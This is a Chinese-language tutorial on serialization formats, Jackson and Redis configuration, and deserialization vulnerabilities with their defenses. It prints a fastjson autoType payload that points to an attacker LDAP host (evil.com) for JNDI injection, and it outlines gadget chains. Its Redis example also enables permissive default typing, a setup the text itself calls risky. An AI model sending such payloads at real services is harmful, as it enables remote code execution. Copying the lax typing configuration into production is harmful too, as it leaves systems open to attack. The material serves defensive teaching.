序列化与反序列化核心原理、实战避坑及安全防护指南 1. 从一个真实场景说起为什么我们需要序列化1.1 数据跨进程传输的原始困境假设你写了一个Java服务内存里有一个User对象包含id、name、age、email四个字段。现在另一个服务需要拿到这个对象的数据你怎么传最朴素的做法是把每个字段拆开拼成字符串用逗号隔开发过去让对方自己解析。但问题马上就来了如果name里本身就有逗号呢如果字段类型不只是字符串还有嵌套对象、数组、Map呢如果对象结构改了一个字段对方解析代码是不是也得跟着改这就是序列化要解决的核心问题。序列化Serialization的本质是把内存中的数据结构或对象状态转换成一种可以存储或传输的格式的过程。反过来把这种格式重新还原成内存中的对象就叫反序列化Deserialization。你可以把它理解成搬家你家里的东西对象没法直接整个搬走得先打包成箱子序列化到了新家再拆箱摆好反序列化。箱子里的东西怎么摆、用什么材料填充、封箱带怎么缠这些规则就是序列化协议。1.2 序列化到底解决了哪些问题我总结下来序列化主要解决四类问题跨进程通信两个独立的进程内存不共享必须通过字节流交换数据。RPC框架、消息队列、微服务之间的调用底层都依赖序列化。数据持久化把对象存到磁盘文件或数据库里下次启动时再读回来。比如Redis缓存对象、Session存储、游戏存档。跨语言交互Java写的服务要和Go、Python写的服务通信双方需要一种中立的格式JSON、Protobuf就是干这个的。深拷贝通过序列化再反序列化可以快速得到一个对象的深拷贝比手动clone每个字段省事得多。注意序列化和加密是两回事。序列化后的数据通常是明文可读的比如JSON它不负责安全只负责结构转换。很多人把这两个概念混在一起这是个常见误区。1.3 谁需要搞懂序列化如果你只是写写CRUD业务代码可能觉得序列化离你很远。但实际上只要你用过Redis存对象、用过Dubbo或Feign做服务调用、用过Kafka发消息、配置过Spring Session你就已经在和序列化打交道了。更别说做安全方向的同学反序列化漏洞是绕不开的一课。这篇文章我会从原理讲到实操从JSON讲到Java原生序列化再讲到反序列化漏洞的成因和防护。不管你是刚入行的后端开发还是想补基础的老手都能从中找到有用的东西。2. 序列化的核心原理与主流方案拆解2.1 序列化协议的三层结构任何一种序列化方案都可以拆成三个层次来看第一层数据表示层。决定数据长什么样。比如JSON用{}表示对象、[]表示数组XML用标签嵌套二进制协议用TLVType-Length-Value结构。第二层编码层。决定数据怎么变成字节。文本协议JSON、XML直接转成UTF-8字符串二进制协议Protobuf、Thrift会把字段编号、类型信息压缩成紧凑的字节序列。第三层传输层。决定字节怎么发出去。TCP、HTTP、gRPC通道这一层和序列化本身关系不大但会影响性能。理解这三层很重要因为很多人在选型时只看快不快忽略了可读性、兼容性、跨语言支持这些维度。2.2 文本协议 vs 二进制协议这是选型时第一个要做的决策。我用一个表格来对比维度文本协议JSON/XML二进制协议Protobuf/Thrift/Java原生可读性人眼可直接阅读需要工具解码体积较大有大量冗余字符紧凑通常小30%-70%序列化速度中等快尤其是Protobuf跨语言极好好但需要生成代码调试难度低抓包就能看高需要schema兼容性灵活加字段不影响需要遵守字段编号规则我的经验是对外API用JSON内部高性能RPC用Protobuf临时存储用JSON长期归档考虑二进制。不要一上来就追求极致性能可维护性往往比那几毫秒更重要。2.3 JSON序列化的内部机制JSON看起来简单但真正用好需要理解几个细节。以Java生态最常用的Jackson为例ObjectMapper mapper new ObjectMapper(); // 序列化 String json mapper.writeValueAsString(user); // 反序列化 User user mapper.readValue(json, User.class);看起来就两行但背后做了这些事反射扫描Jackson通过反射获取User类的所有getter方法确定有哪些属性。类型推断根据getter返回类型决定用哪种序列化器StringSerializer、IntSerializer等。递归处理遇到嵌套对象递归调用对应的序列化器。循环引用检测如果A引用BB又引用A默认会抛异常需要配置JsonIgnore或JsonManagedReference。这里有个坑我踩过日期类型的序列化。默认情况下Jackson会把Date序列化成时间戳数字但前端往往期望yyyy-MM-dd HH:mm:ss格式。解决办法是配置mapper.configure(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS, false); mapper.setDateFormat(new SimpleDateFormat(yyyy-MM-dd HH:mm:ss));或者更推荐用Java 8的LocalDateTime配合JavaTimeModule避免线程安全问题。2.4 Java原生序列化的机制与代价Java原生序列化只需要让类实现Serializable接口public class User implements Serializable { private static final long serialVersionUID 1L; private Long id; private String name; // getter/setter省略 }然后用ObjectOutputStream写出ObjectInputStream读入。但我要明确告诉你除非有特殊理由不要用Java原生序列化。原因有三体积大Java序列化会写入大量类元信息同样的对象比JSON大好几倍。性能差反射开销大序列化速度远不如Protobuf。安全风险高这是反序列化漏洞的重灾区后面会详细讲。那serialVersionUID是干嘛的它是类的版本号。序列化时会把UID写进字节流反序列化时对比双方的UID不一致就抛InvalidClassException。如果你不显式声明JVM会根据类结构自动生成一个但类一改UID就变导致老数据读不出来。所以只要实现了Serializable就手动写上serialVersionUID这是铁律。2.5 Protobuf为什么快Protobuf的核心优化在于两点字段编号代替字段名和Varint编码。你定义schema时message User { int64 id 1; string name 2; int32 age 3; }序列化后字段名name不会出现在字节流里只写编号2。接收方根据schema知道2对应name。这就省掉了大量字符串。Varint编码则是用变长字节表示整数小的数字用1个字节大的用多个。比如age25只占1字节如果用固定4字节int就浪费了3字节。代价是什么可读性差且必须有schema。你抓包看到一堆十六进制没有.proto文件根本不知道是什么。所以Protobuf适合内部服务不适合对外暴露的API。3. 手把手实操从零实现一个序列化方案3.1 环境准备与依赖引入我用Java Jackson Redis来演示一个完整的场景把一个User对象序列化后存入Redis再读出来。这是最常见的实战需求。Maven依赖dependency groupIdcom.fasterxml.jackson.core/groupId artifactIdjackson-databind/artifactId version2.15.2/version /dependency dependency groupIdcom.fasterxml.jackson.datatype/groupId artifactIdjackson-datatype-jsr310/artifactId version2.15.2/version /dependency dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-data-redis/artifactId /dependency引入jsr310模块是为了支持LocalDateTime这个模块不引入的话序列化Java 8时间类型会直接报错。3.2 定义实体类与序列化配置Data NoArgsConstructor AllArgsConstructor public class User implements Serializable { private static final long serialVersionUID 1L; private Long id; private String name; private Integer age; private LocalDateTime createTime; }配置ObjectMapperConfiguration public class JacksonConfig { Bean public ObjectMapper objectMapper() { ObjectMapper mapper new ObjectMapper(); // 忽略未知字段避免对方加了字段导致反序列化失败 mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); // 时间不用时间戳 mapper.configure(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS, false); // 注册Java 8时间模块 mapper.registerModule(new JavaTimeModule()); // 设置时间格式 mapper.setDateFormat(new SimpleDateFormat(yyyy-MM-dd HH:mm:ss)); return mapper; } }这里FAIL_ON_UNKNOWN_PROPERTIES设为false非常关键。线上环境经常出现A服务加了字段、B服务还没更新的情况如果设为trueB服务直接反序列化失败。设为false后未知字段被忽略兼容性大大提升。3.3 Redis序列化配置的坑Spring Data Redis默认用的是JdkSerializationRedisSerializer也就是Java原生序列化。你存进去的数据在redis-cli里看是一堆乱码而且不同版本类结构变化后读不出来。我建议改成JSONConfiguration public class RedisConfig { Bean public RedisTemplateString, Object redisTemplate(RedisConnectionFactory factory) { RedisTemplateString, Object template new RedisTemplate(); template.setConnectionFactory(factory); Jackson2JsonRedisSerializerObject serializer new Jackson2JsonRedisSerializer(Object.class); ObjectMapper mapper new ObjectMapper(); mapper.registerModule(new JavaTimeModule()); mapper.configure(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS, false); mapper.activateDefaultTyping( LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY); serializer.setObjectMapper(mapper); template.setKeySerializer(new StringRedisSerializer()); template.setValueSerializer(serializer); template.setHashKeySerializer(new StringRedisSerializer()); template.setHashValueSerializer(serializer); template.afterPropertiesSet(); return template; } }注意activateDefaultTyping这行。它的作用是在JSON里额外写入class字段记录原始类型。为什么需要因为反序列化时如果目标是ObjectJackson不知道要还原成什么类会默认还原成LinkedHashMap。加上类型信息后才能正确还原成User。但这里有个安全权衡开启DefaultTyping会引入反序列化风险。如果攻击者能控制JSON内容构造恶意的class指向危险类就可能触发漏洞。所以生产环境要么限制可反序列化的包名白名单要么干脆不用DefaultTyping而是明确指定类型。3.4 完整读写流程与验证Service public class UserService { Autowired private RedisTemplateString, Object redisTemplate; public void saveUser(User user) { redisTemplate.opsForValue().set(user: user.getId(), user); } public User getUser(Long id) { return (User) redisTemplate.opsForValue().get(user: id); } }存进去之后用redis-cli查看127.0.0.1:6379 get user:1 {\class\:\com.example.entity.User\,\id\:1,\name\:\张三\,\age\:25,\createTime\:\2024-01-15 10:30:00\}可以看到数据是可读的JSON带上了class类型信息。这样读出来时能正确还原成User对象。3.5 参数选择背后的计算逻辑为什么我选择JSON而不是Protobuf存Redis算一笔账假设User对象有10个字段平均每个字段名8字符、值10字符。JSON大约200字节。Protobuf大约80字节。看起来Protobuf省了60%。但Redis的网络往返、命令解析本身就有开销200字节和80字节在局域网内的传输差异不到0.1毫秒。而JSON带来的可读性、调试便利性、跨语言兼容性价值远超这点性能差异。选型的核心不是选最快的而是选最合适的。缓存场景下可维护性 极致性能。但如果是高频交易系统每毫秒都重要那就该上Protobuf甚至更激进的方案。4. 反序列化漏洞原理、复现与防护4.1 反序列化漏洞到底怎么产生的反序列化漏洞的根源在于反序列化过程会自动调用对象的一些方法如果攻击者能控制反序列化的数据就能控制这些方法的执行。以Java为例ObjectInputStream.readObject()在还原对象时会调用类的readObject()方法。如果某个类的readObject()里写了危险逻辑比如执行命令、读取文件攻击者构造好字节流就能触发。这就像你收到一个快递序列化数据拆快递反序列化的过程中快递盒里藏了个机关一打开就自动触发了。问题不在于拆快递这个动作而在于有些快递本身带了危险机关。4.2 经典利用链的构成要素一条完整的Java反序列化利用链通常包含三部分入口类实现了Serializable且readObject()中有可控操作比如HashMap、PriorityQueue。中间链一系列类的调用关系把入口的触发传导到危险方法。常见的有CommonsCollections、CommonsBeanutils等库中的类。执行点最终执行危险操作的方法比如Runtime.exec()、ProcessBuilder.start()。以CommonsCollections链为例攻击者构造一个Transformer数组通过ChainedTransformer串联多个转换器最终调用到InvokerTransformer执行任意方法。当这个对象被反序列化时readObject()触发链式调用命令就被执行了。4.3 PHP反序列化漏洞的特殊性PHP的反序列化漏洞和Java思路类似但触发点不同。PHP中魔法方法__wakeup、__destruct、__toString会在特定时机自动调用。攻击者通过控制序列化字符串中的属性值让这些魔法方法执行危险操作。PHP序列化格式长这样O:4:User:2:{s:2:id;i:1;s:4:name;s:6:张三;}O:4:User表示对象类名4字符2表示2个属性后面是键值对。如果类名长度写错反序列化会失败。这个格式细节在构造payload时非常关键。PHP反序列化漏洞的常见触发场景包括对象注入、POP链构造、__destruct中的文件操作等。防护的核心是永远不要反序列化用户可控的数据如果必须用json_decode代替unserialize。4.4 防护措施清单防护手段适用场景效果不使用原生反序列化所有新项目最彻底白名单校验类名必须用原生反序列化高使用JSON等文本协议对外接口高升级依赖库版本所有项目中堵已知链网络层隔离内网服务中反序列化前签名校验数据传输高我的建议是新项目一律用JSON或Protobuf不要碰Java原生序列化。老项目如果必须用至少加上ObjectInputFilter做类白名单ObjectInputStream ois new ObjectInputStream(inputStream); ois.setObjectInputFilter(info - { Class? clazz info.serialClass(); if (clazz ! null clazz.getName().startsWith(com.example.)) { return ObjectInputFilter.Status.ALLOWED; } return ObjectInputFilter.Status.REJECTED; });这段代码只允许com.example包下的类被反序列化其他一律拒绝。虽然不能防所有攻击但能挡住大部分通用链。4.5 fastjson的历史教训fastjson曾经是国内最流行的JSON库但因为autoType特性爆出了一系列反序列化漏洞。攻击者通过构造type字段指定恶意类触发漏洞。{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://evil.com/exploit,autoCommit:true}这段JSON在旧版fastjson中会触发JNDI注入加载远程恶意类。虽然fastjson后续版本加了黑名单和安全模式但历史漏洞太多很多公司已经迁移到Jackson或Gson。教训是任何允许在数据中指定类型的反序列化机制都是高危的。类型信息应该由代码决定而不是由数据决定。5. 常见问题排查与实战避坑指南5.1 序列化相关的典型报错问题一NotSerializableException原因类没有实现Serializable接口或者某个字段的类型不可序列化。排查看异常信息里的类名给它加上Serializable。如果是第三方类的字段加transient关键字跳过它。问题二InvalidClassException: local class incompatible原因serialVersionUID不一致。常见于类结构改了但没更新UID或者两端UID不同。解决显式声明serialVersionUID并且保证两端一致。问题三Jackson反序列化报UnrecognizedPropertyException原因JSON里有类中不存在的字段。解决配置FAIL_ON_UNKNOWN_PROPERTIESfalse。问题四LocalDateTime序列化报错原因没注册JavaTimeModule。解决mapper.registerModule(new JavaTimeModule())。5.2 循环引用导致的栈溢出如果A对象引用BB又引用A序列化时会无限递归最终StackOverflowError。public class A { private B b; } public class B { private A a; }解决办法有三种用JsonIgnore在某一端忽略。用JsonManagedReference和JsonBackReference配对。用JsonIdentityInfo给对象加唯一标识重复出现时用引用代替。我一般用第一种简单直接。如果业务上确实需要双向引用用第三种。5.3 性能优化的几个实操技巧复用ObjectMapperObjectMapper是线程安全的创建一次全局复用。每次new一个开销很大。关闭不必要的特性比如FAIL_ON_UNKNOWN_PROPERTIES、WRITE_DATES_AS_TIMESTAMPS减少运行时判断。用JsonInclude(NON_NULL)null字段不序列化减小体积。大对象考虑流式处理用JsonParser和JsonGenerator逐字段处理避免一次性加载到内存。5.4 跨语言序列化的兼容性坑Java的Long序列化成JSON是数字但JavaScript的Number精度只有53位超过会丢精度。比如雪花算法生成的ID是19位JS解析后末尾几位会变。解决办法把Long序列化成字符串。JsonSerialize(using ToStringSerializer.class) private Long id;或者全局配置mapper.registerModule(new SimpleModule() .addSerializer(Long.class, ToStringSerializer.instance) .addSerializer(Long.TYPE, ToStringSerializer.instance));这个坑我在做前后端联调时踩过前端拿到的ID和数据库里的对不上排查了半天才发现是精度问题。5.5 常见问题速查表现象可能原因解决方向反序列化后字段为null字段名不匹配、缺少setter检查命名策略、加JsonProperty时间差8小时时区配置问题设置TimeZone为GMT8枚举反序列化失败枚举值不存在加JsonEnumDefaultValue或自定义反序列化器泛型丢失类型擦除用TypeReference中文乱码编码不一致统一用UTF-8Redis读出来是乱码用了JDK序列化换成JSON序列化器泛型丢失这个问题特别常见。比如ListUser反序列化后变成ListLinkedHashMap因为运行时泛型被擦除了。解决办法ListUser users mapper.readValue(json, new TypeReferenceListUser() {});用TypeReference匿名子类保留泛型信息这是Jackson的标准做法。6. 我个人的一些经验体会序列化这个东西入门很简单但真正用好需要理解它的边界。我见过太多项目因为序列化选型不当后期改起来牵一发动全身。比如一开始用Java原生序列化存Session后来想换成JSON发现老数据读不出来只能写兼容代码同时支持两种格式。我的建议是项目初期就定好序列化规范。对外API用JSON内部RPC用Protobuf缓存用JSON绝对不用Java原生序列化。这个规范定下来后面能省很多事。另外反序列化安全不是安全团队一个人的事。每个写代码的人都应该知道永远不要反序列化不可信的数据。如果业务上必须做白名单校验是底线。我见过一个项目接口接收Base64编码的序列化数据直接ObjectInputStream读没有任何校验这种代码一旦被盯上就是灾难。最后分享一个小技巧调试序列化问题时先把对象转成JSON打印出来看看比直接看字节流高效得多。JSON可读一眼就能看出哪个字段不对。等JSON没问题了再切到二进制协议做性能优化。这个顺序能帮你省下大量排查时间。